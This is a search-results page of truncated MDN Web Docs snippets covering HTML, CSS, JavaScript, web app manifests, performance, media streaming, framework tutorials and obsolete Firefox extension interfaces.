web content. Video Using HTML5 audio and video Embedding video and/or audio in a
web page and controlling its playback.
WebRTC The RTC in
WebRTC stands for Real-Time Communications, a technology that enables audio/video streaming and data sharing between browser clients (peers). ...
Writing forward-compatible websites - Developer guides
This page explains how to write
websites that do not break when new browser versions are released. This is especially important for intranets and other non-public
websites; if we can't see your code, we can't see that it broke. It's not always possible to follow all of these, but following as many of them as possible will help future-proof your
website. JavaScript Prefix all global variable access in onfoo attributes with "window." When an event handler content attribute (onclick, onmouseover, and so forth) is used on HTML element, all name lookup in the attribute first happens on the element itself, then on the element's form if the element is a form control, then on the document, and then on the window (where the global variables you have defined are). For example, if you have...
... support of the unprefixed version of something, its behavior can still change in unexpected ways. Most especially, don't use the unprefixed version if no browser actually supports it. You can't assume that the syntax of the final version will be the same as the syntax of any of the prefixed versions. Code hygiene Avoid missing > Passing a validator is one way to ensure this, but even if your
website doesn't validate entirely you should make sure all your > characters are present. Missing those can lead to unexpected situations due to a following tag name being treated as an attribute on a previous tag. This can work for a bit, then break if a specification attaches a meaning to that attribute. Here's an example that works in browsers without HTML5 support but breaks in a browser supporti...
background_color - Web app manifests
defines a placeholder background color for the application page to display before its stylesheet is loaded. This value is used by the user agent to draw the background color of a shortcut when the manifest is available before the stylesheet has loaded. Therefore background_color should match the background-color CSS property in the site's stylesheet for a smooth transition between launching the
web application and loading the site's content. Note: The background_color member is only meant to improve the user experience while the main stylesheet is loading from the network or the storage media; it is not used by the user agent as the background-color CSS property when the progressive
web app stylesheet is available. Examples "background_color": "red" Specification Specificati...
...te: The background_color member is only meant to improve the user experience while the main stylesheet is loading from the network or the storage media; it is not used by the user agent as the background-color CSS property when the progressive
web app stylesheet is available. Examples "background_color": "red" Specification Specification Status Comment Feedback
Web App ManifestThe definition of 'background_color' in that specification. Working Draft Initial definition.
Web App Manifest Working Group drafts ...
description - Web app manifests
r and lang manifest members. ...
... achieve your dreams." description in Arabic, which will be displayed right-to-left: "dir": "rtl", "lang": "ar", "description": ".????? ???? ??????? ??? ????? ...
lang - Web app manifests
Type String Mandatory No The lang member is a string containing a single language tag. ...
...ecifies the primary language for the values of the manifest's directionality-capable members, and together with dir determines their directionality. ...
theme_color - Web app manifests
Type String Mandatory No The theme_color member is a string that defines the default theme color for the application. ...
...pplication. This sometimes affects how the OS displays the site (e.g., on Android's task switcher, the theme color surrounds the site). ...
Guide to streaming audio and video - Web media technologies
In this guide, we'll examine the techniques used to stream audio and/or video media on the
web, and how you can optimize your code, your media, your server, and the options you use while performing the streaming to bring out the best quality and performance possible. <<<...XXXXXX...>>> Protocols In addition to the configuration of the server and the streaming code, there are sometimes special protocols which can be used to optimize performance. HTTPS Live Streaming HTTPS Live Streaming (HLS) is a protocol developed by Apple and supported by Safari on all of their platforms. HLS may also be supported in other environments, although in some cases this support is conditional. ...
... the configuration of the server and the streaming code, there are sometimes special protocols which can be used to optimize performance. HTTPS Live Streaming HTTPS Live Streaming (HLS) is a protocol developed by Apple and supported by Safari on all of their platforms. HLS may also be supported in other environments, although in some cases this support is conditional. For example, because many
web sites' mobile-specific content assume that mobile browsers support HLS, Firefox for Android does as well, in order to avoid strange compatibility errors from occurring due to this assumption being incorrect. The desktop version of Android, however, does not support HLS. HLS uses playlists to allow the user to not only select the media to stream, but also to choose among versions or forms of the ...
Using images in HTML - Web media technologies
The HTML <img> element lets you embed images into an HTML document, while the <picture> element enables responsive images. In this guide you'll find links to resources that deal with adding images to
websites. References These articles cover some of the HTML elements and CSS properties that are used to control how images are displayed on the
web. HTML <img> The HTML <img> element is used to embed an image in a
webpage. It supports a wide range of attributes that control how the image behaves and allows you to add important information like alt text for people who don't see the image. <picture> The HTML <picture> element contains zero or more <source> elements and one <img> element which provides versions of an image for different display/device scenarios. The browser consid...
.... Areas of the box which aren't covered by the replaced element's object will show the element's background. background-image The background-image CSS property sets one or more background images for an element. Guides These articles provide guidance on selecting and configuring image types. Image file type and format guide A guide to the various image file types commonly supported by
web browsers including details about their individual use cases, capabilities, and compatibility factors. Additionally, this article provides guidance for selecting the best image file type for a given situation. Mapping the width and height attributes of media container elements to their aspect-ratio This changes how browsers load images so their aspect ratios are calculated by the browser early o...
Lazy loading - Web Performance
Lazy loading is a strategy to identify resources as non-blocking (non-critical) and load these only when needed. It's a way to shorten the length of the critical rendering path, which translates into reduced page load times. Lazy loading can occur on different moments in the application, but it typically happens on some user interactions such as scrolling and navigation. Overview As the
web has evolved, we have come to see huge increases in the number and size of assets sent to users. Between 2011 and 2019, the median resource weight increased from ~100KB to ~400KB for desktop and ~50KB to ~350KB for mobile. While Image size has increased from ~250KB to ~900KB on desktop and ~100KB to ~850KB on mobile. One of the methods we can use to tackle this problem is to shorten the Critical...
...ia="all"> <link href="portrait.css" rel="stylesheet" media="orientation:portrait"> <link href="print.css" rel="stylesheet" media="print"> It is possible to perform some CSS optimizations to achieve that. Fonts By default, font requests are delayed until the render tree is constructed, which can result in delayed text rendering. It is possible to override the default behaviour and preload
web font resources using <link rel="preload">, the CSS font-display property, and the Font Loading API. See also: Element Link Images and iframes Very often,
webpages contain many images that contribute to data-usage and how fast a page can load. Most of those images are off-screen (non-critical), requiring user interaction (an example being scroll) in order to view them. Loading attribute The...
Navigation and resource timings - Web Performance
yType('frame').forEach((frame) => { console.dir(frame); }); In supporting browsers, you can use performance.getEntriesByType('paint') to query the measure for first-paint and first-contentful-paint. We use performance.getEntriesByType('navigation') and performance.getEntriesByType('resource') to query the navigation and resource timings respectively. Navigation Timing When a user requests a
web site or application, to populate the browser the user agent goes through a series of steps, including a DNS lookup, TCP handshake, and SSL negotiation, before the user agent makes the actual request and the servers return the requested assets. The browser then parses the content received, builds the DOM, CSSOM, accessibility, and render trees, eventually rendering the page. Once the user agent st...
...ame result: 1 - (22.04 / 87.24) = 0.747. The navigation timings provide us a way to programmatically check transfer sizing and bandwidth savings. Note that this is the size for this single document alone: for this resource alone, not for all the resources combined. However, the duration, load events and DOM related timings have to do with the entire navigation, not this single asset. Client-side
web applications may seem faster than this one with transfer sizes under 10000 and decoded body sizes under 30000, but that doesn't mean JavaScript, CSS, or media assets aren't adding bloat. Checking compression ratios is important but ensure to also check duration and the time between when the DOMContentLoaded event ended and when the DOM is complete, as running JavaScript on the main thread for lon...
Performance budgets - Web Performance
rmance Budget is to correlate the impact of Performance on business or product goals. When defining metrics, you should focus on User Experience, which will dictate not only the bounce or conversion rate but how likely is that user to return. How do I implement a performance budget? During development, there are a few tools to run checks against new or modified assets: A module bundler (e.g.
webpack), has performance features that will notify you when assets exceed specified limits. Bundlesize, allows you to define and run file size checks in your CI pipeline. File size checks are the first line of defense against regressions but translating size back into time metrics can be difficult since development environments could be missing 3rd party scripts, and optimizations commonly provid...
...environments could be missing 3rd party scripts, and optimizations commonly provided by a CDN. The first step is to define a development baseline for each branch to compare to and the precision of the difference between development and production can be used as a goal towards better match the live environment. The Lighthouse Bot integrates with Travis CI and can be used to gather Lighthouse and
Webpage Test metrics from a development URL. The bot will pass or fail based on the provided minimum scores. How do I enforce a performance budget? The sooner that you can identify a potential addition pushing the budget, the better you can analyze the current state of your site, and pinpoint optimizations or unnecessary code. However, you should have multiple budgets and be dynamic. They are mean...
Performance Monitoring: RUM vs synthetic monitoring - Web Performance
RUM and synthetic monitoring provide for different views of performance and have benefits, good use cases and shortfalls. RUM is generally best suited for understanding long-term trends whereas synthetic monitoring is very well suited to regression testing and mitigating shorter-term performance issues during development. In this article we define and compare these two performance monitoring approaches. ...
...uring development. In this article we define and compare these two performance monitoring approaches. Synthetic Monitoring Synthetic monitoring involves monitoring the performance of a page in a 'laboratory' environment, typically with automation tooling in a consistent as possible environment. Synthetic Monitoring involves deploying scripts to simulate the path an end user might take through a
web application, reporting back the performance the simulator experiences. The traffic measured is not of your actual users, but rather synthetically generated traffic collecting data on page performance. An example of synthetic monitoring is
WebPageTest.org. It is done in a controlled environment where variable like geography, network, device, browser, and cached status are predetermined. It provid...
How to turn off form autocompletion - Web security
This article explains how a
website can disable autocomplete for form fields. By default, browsers remember information that the user submits through <input> fields on
websites. This enables the browser to offer autocompletion (that is, suggest possible completions for fields that the user has started typing in) or autofill (that is, pre-populate certain fields upon load). These features are usually enabled by default, but they can be a privacy concern for users, so browsers can let users disable them. However, some data submitted in forms either are not useful in the future (for example, a one-time pin) or contain sensitive information (for example, a unique government identifier or credit card security code). ...
... (that is, pre-populate certain fields upon load). These features are usually enabled by default, but they can be a privacy concern for users, so browsers can let users disable them. However, some data submitted in forms either are not useful in the future (for example, a one-time pin) or contain sensitive information (for example, a unique government identifier or credit card security code). As
website author, you might prefer that the browser not remember the values for such fields, even if the browser's autocomplete feature is enabled. Note that the WCAG 2.1 Success Criterion 1.3.5: Identify Input Purpose does not require that autocomplete/autofill actually work - merely that form fields that relate to specific personal user information are programmatically identified. This means that th...
Using shadow DOM - Web Components
The Shadow DOM API is a key part of this, providing a way to attach a hidden separated DOM to an element. This article covers the basics of using the Shadow DOM. Note: Shadow DOM is supported by default in Firefox (63 and onwards), Chrome, Opera, and Safari. The new Chromium-based Edge (75 and onwards) supports it too; the old Edge didn't. ...
...rome, Opera, and Safari. The new Chromium-based Edge (75 and onwards) supports it too; the old Edge didn't. High-level view This article assumes you are already familiar with the concept of the DOM (Document Object Model) -- a tree-like structure of connected nodes that represents the different elements and strings of text appearing in a markup document (usually an HTML document in the case of
web documents). As an example, consider the following HTML fragment: <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title>Simple DOM example</title> </head> <body> <section> <img src="dinosaur.png" alt="A red Tyrannosaurus Rex: A two legged dinosaur standing upright like a human, with small arms, and a large head with lots of sharp teeth."> <p>Here we will ...
Open a Web Page - Archive of obsolete content
To do this, pass a callback function into open(). The callback is assigned to the onReady property, and will be passed the tab as an argument: var tabs = require("sdk/tabs"); tabs.open({ url: "http://www.example.com", onReady: function onReady(tab) { console.log(tab.title); } }); Even then, you don't get direct access to any content hosted in the tab. ...
Displaying web content in an extension without security issues - Archive of obsolete content
malicious JavaScript code and it would then execute with the privileges of the extension -- meaning that it would get full access to the browser (cookies, history etc) and to user's files. These issues can easily be avoided by making use of the existing security mechanisms in the Mozilla codebase. The following article explains these security mechanisms, ideally an extension that needs to display
web content (which is always potentially dangerous) will use all of them. Displaying untrusted data as content In Firefox, there is a distinction between chrome and content documents. The top document in a window is always a chrome document. If you look at the frames it loads, those will usually be chrome documents as well. However, if the document is loaded into <iframe type="content"> or <browser t...
Installing Extensions and Themes From Web Pages - Archive of obsolete content
There are a variety of ways you can install extensions and themes from
web pages, including direct linking to the XPI files and using the InstallTrigger object. Extension and
web authors are encouraged to use the method described below to install XPIs, as it provides the best experience to users.
Web Script Example <script type="application/javascript"> <!-- function install (aEvent) { for (var a = aEvent.target; a.href === undefined;) a = a.parentNode; var params = { "Foo": { URL: aEvent.target.href, IconURL: aEvent.target.getAttribute("iconURL"), Hash: aEvent.target.getAttribute("hash"), toString: function () { return this.URL; } } }; InstallTrigger.install(params); return false; } //--> </script> <a href="http://www.exam...
Assessment: Accessibility troubleshooting - Learn web development
ctivating it using the return key? The table The data table is not currently very accessible -- it is hard for screenreader users to associate data rows and columns together, and the table also has no kind of summary to make it clear what it shows. Can you add some features to your HTML to fix this problem? Other considerations? Can you list two more ideas for improvements that would make the
website more accessible? Assessment or further help If you would like your work assessed, or are stuck and want to ask for help: Put your work into an online shareable editor such as CodePen, jsFiddle, or Glitch. Write a post asking for assessment and/or help at the MDN Discourse forum Learning category. Your post should include: A descriptive title such as "Assessment wanted for Accessib...
Test your skills: HTML accessibility - Learn web development
that summarises all of the information as personal data. Try updating the live code below to recreate the finished example: Download the starting point for this task to work in your own editor or in an online editor. HTML accessibility 3 In this task you are required to turn all the information links in the paragraph into good, accessible links. The first two links just go to regular
web pages. The third link goes to a PDF, and it's large -- 8MB. The fourth link goes to a Word document, so the user will need some kind of application installed that can handle that. Try updating the live code below to recreate the finished example: Download the starting point for this task to work in your own editor or in an online editor. HTML accessibility 4 In our final HTML accessibi...
Backgrounds and borders - Learn web development
s individually. Gradient backgrounds A gradient -- when used for a background -- acts just like an image and is also set by using the background-image property. You can read more about the different types of gradients and things you can do with them on the MDN page for the <gradient> data type. A fun way to play with gradients is to use one of the many CSS Gradient Generators available on the
web, such as this one. You can create a gradient then copy and paste out the source code that generates it. Try some different gradients in the example below. In the two boxes respectively, we have a linear gradient that is stretched over the whole box, and a radial gradient with a set size, which therefore repeats. Multiple background images It is also possible to have multiple background image...
Pseudo-classes and pseudo-elements - Learn web development
g CSS. You could use these to insert a string of text, such as in the live example below. Try changing the text value of the content property and see it change in the output. You could also change the ::before pseudo-element to ::after and see the text inserted at the end of the element instead of the beginning. Inserting strings of text from CSS isn't really something we do very often on the
web however, as that text is inaccessible to some screen readers and might be hard for someone to find and edit in the future. A more valid use of these pseudo-elements is to insert an icon, for example the little arrow added in the example below, which is a visual indicator that we wouldn't want read out by a screenreader: These pseudo-elements are also frequently used to insert an empty string,...
CSS selectors - Learn web development
There are a wide variety of CSS selectors available, allowing for fine-grained precision when selecting elements to style. In this article and its sub-articles we'll run through the different types in great detail, seeing how they work. Prerequisites: Basic computer literacy, basic software installed, basic knowledge of working with files, HTML basics (study Introduction to HTML), and an idea of how CSS works (study CSS first steps.) Objective: To learn how CSS selectors work in detail. ...
Test your skills: tables - Learn web development
d use an online tool such as CodePen, jsFiddle, or Glitch to work on the tasks. If you get stuck, then ask us for help -- see the Assessment or further help section at the bottom of this page. Task In the lesson we styled up a table in a rather garish manner. In this task we are going to style the same table, but using some good practices for table design as outlined in the external article
Web Typography: designing tables to be read not looked at. Our finished table will look like the image below. There are a number of ways that you can achieve this, but I suggest following similar patterns as used in the tutorial to do the following things. Align headings and data for columns containing numbers right. Align headings and data for columns containing text left. Add a top and bottom...
The box model - Learn web development
t later on. Note: To read more about the values of display, and how boxes work in block and inline layout, take a look at the MDN guide to Block and Inline Layout. When you move on to learn about CSS Layout in more detail, you will encounter flex, and various other inner values that your boxes can have, for example grid. Block and inline layout, however, is the default way that things on the
web behave -- as we said above, it is sometimes referred to as normal flow, because without any other instruction, our boxes lay out as block or inline boxes. Examples of different display types Let's move on and have a look at some examples. Below we have three different HTML elements, all of which have an outer display type of block. The first is a paragraph, which has a border added in CSS. The ...
CSS values and units - Learn web development
t you will commonly use is px (pixels). Relative length units Relative length units are relative to something else, perhaps the size of the parent element's font, or the size of the viewport. The benefit of using relative units is that with some careful planning you can make it so the size of text or other elements scale relative to everything else on the page. Some of the most useful units for
web development are listed in the table below. Unit Relative to em Font size of the parent, in the case of typographical properties like font-size, and font size of the element itself, in the case of other properties like width. ex x-height of the element's font. ch The advance measure (width) of the glyph "0" of the element's font. rem ...
Positioning - Learn web development
e two overlap. This is because the .positioned paragraph is the second paragraph in the source order, and positioned elements later in the source order win over positioned elements earlier in the source order. Can you change the stacking order? Yes, you can, by using the z-index property. "z-index" is a reference to the z-axis. You may recall from previous points in the course where we discussed
web pages using horizontal (x-axis) and vertical (y-axis) coordinates to work out positioning for things like background images and drop shadow offsets. (0,0) is at the top left of the page (or element), and the x- and y-axes run across to the right and down the page (for left to right languages, anyway.)
Web pages also have a z-axis: an imaginary line that runs from the surface of your screen, towa...
Example 2 - Learn web development
.625em; /* 10px */ font-family : Verdana, Arial, sans-serif; -moz-box-sizing : border-box; box-sizing : border-box; padding : 0.1em 2.5em 0.2em 0.5em; /* 1px 25px 2px 5px */ width : 10em; /* 100px */ border : 0.2em solid #000; /* 2px */ border-radius : 0.4em; /* 4px */ box-shadow : 0 0.1em 0.2em rgba(0,0,0,.45); /* 0 1px 2px */ background : #F0F0F0; background : -
webkit-linear-gradient(90deg, #E3E3E3, #fcfcfc 50%, #f0f0f0); background : linear-gradient(0deg, #E3E3E3, #fcfcfc 50%, #f0f0f0); } .select .value { display : inline-block; width : 100%; overflow : hidden; white-space : nowrap; text-overflow : ellipsis; vertical-align: top; } .select:after { content : "?"; position: absolute; z-index : 1; height : 100%; width : 2em;...
Example 3 - Learn web development
.625em; /* 10px */ font-family : Verdana, Arial, sans-serif; -moz-box-sizing : border-box; box-sizing : border-box; padding : 0.1em 2.5em 0.2em 0.5em; /* 1px 25px 2px 5px */ width : 10em; /* 100px */ border : 0.2em solid #000; /* 2px */ border-radius : 0.4em; /* 4px */ box-shadow : 0 0.1em 0.2em rgba(0,0,0,.45); /* 0 1px 2px */ background : #F0F0F0; background : -
webkit-linear-gradient(90deg, #E3E3E3, #fcfcfc 50%, #f0f0f0); background : linear-gradient(0deg, #E3E3E3, #fcfcfc 50%, #f0f0f0); } .select .value { display : inline-block; width : 100%; overflow : hidden; white-space : nowrap; text-overflow : ellipsis; vertical-align: top; } .select:after { content : "?"; position: absolute; z-index : 1; height : 100%; width : 2em;...
Example 4 - Learn web development
.625em; /* 10px */ font-family : Verdana, Arial, sans-serif; -moz-box-sizing : border-box; box-sizing : border-box; padding : 0.1em 2.5em 0.2em 0.5em; /* 1px 25px 2px 5px */ width : 10em; /* 100px */ border : 0.2em solid #000; /* 2px */ border-radius : 0.4em; /* 4px */ box-shadow : 0 0.1em 0.2em rgba(0,0,0,.45); /* 0 1px 2px */ background : #F0F0F0; background : -
webkit-linear-gradient(90deg, #E3E3E3, #fcfcfc 50%, #f0f0f0); background : linear-gradient(0deg, #E3E3E3, #fcfcfc 50%, #f0f0f0); } .select .value { display : inline-block; width : 100%; overflow : hidden; white-space : nowrap; text-overflow : ellipsis; vertical-align: top; } .select:after { content : "?"; position: absolute; z-index : 1; height : 100%; width : 2em;...
Example 5 - Learn web development
.625em; /* 10px */ font-family : Verdana, Arial, sans-serif; -moz-box-sizing : border-box; box-sizing : border-box; padding : 0.1em 2.5em 0.2em 0.5em; /* 1px 25px 2px 5px */ width : 10em; /* 100px */ border : 0.2em solid #000; /* 2px */ border-radius : 0.4em; /* 4px */ box-shadow : 0 0.1em 0.2em rgba(0,0,0,.45); /* 0 1px 2px */ background : #F0F0F0; background : -
webkit-linear-gradient(90deg, #E3E3E3, #fcfcfc 50%, #f0f0f0); background : linear-gradient(0deg, #E3E3E3, #fcfcfc 50%, #f0f0f0); } .select .value { display : inline-block; width : 100%; overflow : hidden; white-space : nowrap; text-overflow : ellipsis; vertical-align: top; } .select:after { content : "?"; position: absolute; z-index : 1; height : 100%; width : 2em;...
Test your skills: Form structure - Learn web development
Note: You can try out the solution in the interactive editor below, however it may be helpful to download the code and use an online tool such as CodePen, jsFiddle, or Glitch to work on the tasks. If you get stuck, then ask us for help -- see the Assessment or further help section at the bottom of this page. ...
Test your skills: HTML5 controls - Learn web development
ow, however it may be helpful to download the code and use an online tool such as CodePen, jsFiddle, or Glitch to work on the tasks. If you get stuck, then ask us for help -- see the Assessment or further help section at the bottom of this page. HTML5 controls 1 First let's explore some of the new HTML5 input types. Create appropriate inputs for a user to update their details for: Email
Website Phone number Favourite color Try updating the live code below to recreate the finished example: Download the starting point for this task to work in your own editor or in an online editor. HTML5 controls 2 Next, we want you to implement a slider control to allow the user to choose a maximum number of people to invite to their party. Implement a basic slider control to go along w...
Test your skills: Styling basics - Learn web development
Note: You can try out solutions by editing the starting point file locally, however it may be helpful to put your code in an online tool such as CodePen, jsFiddle, or Glitch to work on the tasks. If you get stuck, then ask us for help -- see the Assessment or further help section at the bottom of this page. Styling basics 1 Our basic form styling assessment is fairly free-form, and you have a lot of flexibility over what you end up doing here. ...
Test your skills: Multimedia and embedding - Learn web development
In this task we want you to mark up a slightly more complex video player, with multiple sources, subtitles, and other features besides. You need to: Add an attribute to make browsers display some default controls. Add some appropriate fallback text for browsers that don't support <video>. Add multiple sources, containing the paths to the video files. The files are called video.mp4 and video.
webm, and are in a folder inside the current folder called media. Let the browser know in advance what video formats the sources point to, so it can make an informed choice of which one to download ahead of time. Give the <video> a width and height equal to its intrinsic size (320 by 240 pixels). Make the video muted by default. Display the text tracks contained in the media folder, in a file cal...
HTML table advanced features and accessibility - Learn web development
This is no problem when you're reading plain text but interpreting a table can be quite a challenge for a blind person. Nevertheless, with the proper markup we can replace visual associations by programmatic ones. Note: There are around 253 Million people living with Visual Impairment according to WHO data in 2017. This section of the article provides further techniques for mak...
HTML Tables - Learn web development
A very common task in HTML is structuring tabular data, and it has a number of elements and attributes for just this purpose. Coupled with a little CSS for styling, HTML makes it easy to display tables of information on the
web such as your school lesson plan, the timetable at your local swimming pool, or statistics about your favorite dinosaurs or football team. This module takes you through all you need to know about structuring tabular data using HTML. Looking to become a front-end
web developer? We have put together a course that includes all the essential information you need to work towards your goal. Get started Prerequisites Before starting this module, you should already have covered the basics of HTML -- see Introduction to HTML. Note: If you are working on a computer/tabl...
Making asynchronous programming easier with async and await - Learn web development
it with the await keyword -- in fact, await only works inside async functions. This can be put in front of any async promise-based function to pause your code on that line until the promise fulfills, then return the resulting value. In the meantime, other code that may be waiting for a chance to execute gets to do so. You can use await when calling any function that returns a Promise, including
web API functions. Here is a trivial example: async function hello() { return greeting = await Promise.resolve("Hello"); }; hello().then(alert); Of course, the above example is not very useful, although it does serve to illustrate the syntax. Let's move on and look at a real example. Rewriting promise code with async/await Let's look back at a simple fetch example that we saw in the previous ...
Build your own function - Learn web development
acy, a basic understanding of HTML and CSS, JavaScript first steps, Functions -- reusable blocks of code. Objective: To provide some practice in building a custom function, and explain a few more useful associated details. Active learning: Let's build a function The custom function we are going to build will be called displayMessage(). It will display a custom message box on a
web page and will act as a customized replacement for a browser's built-in alert() function. We've seen this before, but let's just refresh our memories. Type the following in your browser's JavaScript console, on any page you like: alert('This is a message'); The alert function takes a single argument -- the string that is displayed in the alert box. Try varying the string to change the message. ...
Image gallery - Learn web development
Prerequisites: Before attempting this assessment you should have already worked through all the articles in this module. Objective: To test comprehension of JavaScript loops, functions, conditionals, and events. ...
A first splash into JavaScript - Learn web development
sure the game logic and UI are completely reset, then go back to step 1. Let's now move forward, looking at how we can turn these steps into code, building up the example, and exploring JavaScript features as we go. Initial setup To begin this tutorial, we'd like you to make a local copy of the number-guessing-game-start.html file (see it live here). Open it in both your text editor and your
web browser. At the moment you'll see a simple heading, paragraph of instructions and form for entering a guess, but the form won't currently do anything. The place where we'll be adding all our code is inside the <script> element at the bottom of the HTML: <script> // Your JavaScript goes here </script> Adding variables to store our data Let's get started. First of all, add the following li...
Arrays - Learn web development
In an animated scene for example, you might have an array of objects representing the background graphics currently displayed, and you might only want 50 displayed at once, for performance or clutter reasons. As new objects are created and added to the array, older ones can be deleted from the array to maintain the desired number. In this example we're going to show a much simpler use -- he...
Handling text — strings in JavaScript - Learn web development
ngs, escaping quotes in strings, and joining strings together. Prerequisites: Basic computer literacy, a basic understanding of HTML and CSS, an understanding of what JavaScript is. Objective: To gain familiarity with the basics of strings in JavaScript. The power of words Words are very important to humans -- they are a large part of how we communicate. Since the
Web is a largely text-based medium designed to allow humans to communicate and share information, it is useful for us to have control over the words that appear on it. HTML provides structure and meaning to our text, CSS allows us to precisely style it, and JavaScript contains a number of features for manipulating strings, creating custom welcome messages and prompts, showing the right text labels wh...
JavaScript object basics - Learn web development
tring in your code, that string is automatically created as an instance of String, and therefore has several common methods and properties available on it. When you accessed the document object model using lines like this: const myDiv = document.createElement('div'); const myVideo = document.querySelector('video'); You were using methods available on an instance of the Document class. For each
webpage loaded, an instance of Document is created, called document, which represents the entire page's structure, content, and other features such as its URL. Again, this means that it has several common methods and properties available on it. The same is true of pretty much any other built-in object or API you've been using -- Array, Math, and so on. Note that built in objects and APIs don't alwa...
Inheritance in JavaScript - Learn web development
this last article, you might be thinking "woo, this is complicated". Well, you are right. Prototypes and inheritance represent some of the most complex aspects of JavaScript, but a lot of JavaScript's power and flexibility comes from its object structure and inheritance, and it is worth understanding how it works. In a way, you use inheritance all the time. Whenever you use various features of a
Web API , or methods/properties defined on a built-in browser object that you call on your strings, arrays, etc., you are implicitly using inheritance. In terms of using inheritance in your own code, you probably won't use it often, especially to begin with, and in small projects. It is a waste of time to use objects and inheritance just for the sake of it when you don't need them. But as your code ...
Object-oriented JavaScript for beginners - Learn web development
our GitHub repo (see it live) -- try writing it yourself first though! Other ways to create object instances So far we've seen two different ways to create an object instance -- declaring an object literal, and using a constructor function (see above). These make sense, but there are other ways -- we want to make you familiar with these in case you come across them in your travels around the
Web. The Object() constructor First of all, you can use the Object() constructor to create a new object. Yes, even generic objects have a constructor, which generates an empty object. Try entering this into your browser's JavaScript console: let person1 = new Object(); This stores an empty object in the person1 variable. You can then add properties and methods to this object using dot or br...
Object building practice - Learn web development
n which we can start to draw. The resulting constant (ctx) is the object that directly represents the drawing area of the canvas and allows us to draw 2D shapes on it. Next, we set constants called width and height, and the width and height of the canvas element (represented by the canvas.width and canvas.height properties) to equal the width and height of the browser viewport (the area that the
webpage appears on -- this can be gotten from the Window.innerWidth and Window.innerHeight properties). Note that we are chaining multiple assignments together, to get the variables all set quicker -- this is perfectly OK. The last bit of the initial script looks as follows: function random(min, max) { const num = Math.floor(Math.random() * (max - min + 1)) + min; return num; } This function ...
Routing in Ember - Learn web development
edge of the terminal/command line. A deeper understanding of modern JavaScript features (such as classes, modules, etc), will be extremely beneficial, as Ember makes heavy use of them. Objective: To learn about implementing routing in Ember. URL-based filtering Ember comes with a routing system that has a tight integration with the browser URL. Typically, when writing
web applications, you want the page to be represented by the URL so that if (for any reason), the page needs to refresh, the user isn't surprised by the state of the
web app -- they can link directly to significant views of the app. At the moment, we already have the "All" page, as we are currently not doing any filtering in the page that we've been working with, but we will need to reorganize it a ...
React resources - Learn web development
bout JavaScript classes at MDN Testing create-react-app provides some tools for testing your application out of the box -- you may have deleted the relevant files earlier in the tutorial. The documentation for create-react-app covers some basics for testing. Routing While routing is traditionally handled by a server and not an application on the user's computer, it is possible to configure a
web application to read and update the browser's location, and render certain user interfaces. This is called client-side routing. It's possible to create many unique routes for your application (such as /home, /dashboard, or login/). The React community has produced two major libraries for client-side routing: React Router and Reach Router. React Router is well-suited to applications with comple...
Dynamic behavior in Svelte: working with variables and props - Learn web development
d our static markup into a dynamic template ready to display the tasks from our component's state. Great! We are getting there. Working with props With a hardcoded list of todos, our Todos component is not very useful. To turn our component into a general purpose To-Do editor we should allow the parent of this component to pass in the list of todos to edit. This would allow us to save them to a
web service or local storage and later retrieve them for update. So let's turn the array into a prop. In Todos.svelte, replace the existing let todos = ... block with export let todos = []. export let todos = [] This may feel a little weird at first. That's not how export normally works in JavaScript modules! This is how Svelte 'extends' JavaScript by taking valid syntax and giving it a ...
Vue conditional rendering: editing existing todos - Learn web development
String, required: true } }, data() { return { newLabel: this.label }; }, methods: { onSubmit() { if (this.newLabel && this.newLabel !== this.label) { this.$emit("item-edited", this.newLabel); } }, onCancel() { this.$emit("edit-cancelled"); } } }; </script> <style scoped> .edit-label { font-family: Arial, sans-serif; -
webkit-font-smoothing: antialiased; -moz-osx-font-smoothing: grayscale; color: #0b0c0c; display: block; margin-bottom: 5px; } input { display: inline-block; margin-top: 0.4rem; width: 100%; min-height: 4.4rem; padding: 0.4rem 0.8rem; border: 2px solid #565656; } form { display: flex; flex-direction: row; flex-wrap: wrap; } form > * { flex: 0 0 100%; } </style> Note: Walk...
Vue resources - Learn web development
y of the Server Side Rendering features it provides. This site provides detailed documentation on using NuxtJS. Vue Mastery -- A paid education platform that specializes in Vue, including some free lessons. Vue School -- Another paid education platform specializing in Vue. Building and publishing your Vue app The Vue CLI also provides us with tools for preparing our app for publishing to the
web. You can do this like so: If your local server is still running, end it by pressing Ctrl + C in the terminal. Next, run the npm run build (or yarn build) in the console. This will create a new dist directory containing all of your production ready files. To publish your site to the
web, copy the contents of this folder to your hosting environment. Note: The Vue CLI docs also include a spe...
Web APIs: Mozilla-specific documents
In the pages listed here, we provide Mozilla-specific documents about standard
Web APIs. This includes notes about any Firefox-only features, or about any experiments or other deviations from the specification that may exist in Mozilla code. ...
Firefox UI considerations for web developers
One example is the new tab page, which includes a "Top Sites" section showing sites you visit that Firefox thinks you're likely to want to visit again, as well as potentially some sites that have been pinned to always appear in that space. Firefox's Top Sites box In this article, we take a look at how to influence the appearance of your site in Firefox user interface elements such as the Top Sites box. ...
amIWebInstallInfo
1.0 66 Introduced Gecko 2.0 Inherits from: nsISupports Last changed in Gecko 2.0 (Firefox 4 / Thunderbird 3.3 / SeaMonkey 2.1) Method overview void install(); Attributes Attribute Type Description installs nsIVariant An array of AddonInstall objects. Read only. originatingURI nsIURI The URI that started the installs. For example, the referring page for a link to an XPI download. Read only. ...
amIWebInstallPrompt
1.0 66 Introduced Gecko 2.0 Inherits from: nsISupports Last changed in Gecko 8.0 (Firefox 8.0 / Thunderbird 8.0 / SeaMonkey 2.5) Method overview void confirm(in nsIDOMWindow aWindow, in nsIURI aUri, [array, size_is(aCount)] in nsIVariant aInstalls, [optional] in PRUint32 aCount); Prior to Gecko 8.0, all references to nsIDOMWindow used in this interface were nsIDOMWindow. Methods confirm() Gets a confirmation that the user wants to start the installs. ...
nsIWebBrowserChromeFocus
It represents the focus up-calls from Mozilla to the embedding chrome. Inherits from: nsISupports Last changed in Gecko 1.7 Method overview void focusNextElement(); void focusPrevElement(); Methods focusNextElement() Set the focus at the next focusable element in the chrome. void focusNextElement(); Parameters None. focusPrevElement() Set the focus at the previous focusable element in the chrome. void focusPrevElement(); Parameters None. See also See bug 70224 for gratuitous information. ...
nsIWebPageDescriptor
Inherits from: nsISupports Last changed in Gecko 1.7 Method overview void loadPage(in nsISupports aPageDescriptor, in unsigned long aDisplayType); Attributes Attribute Type Description currentDescriptor nsISupports Retrieves the page descriptor for the current document. Read only. Constants Display type constants Constant Value Description DISPLAY_AS_SOURCE 0x0001 Generates an optionally syntax-highlighted (for XML/HTML documents) source of the original page. DISPLAY_NORMAL 0x0002 Just refetches the existing page. ...
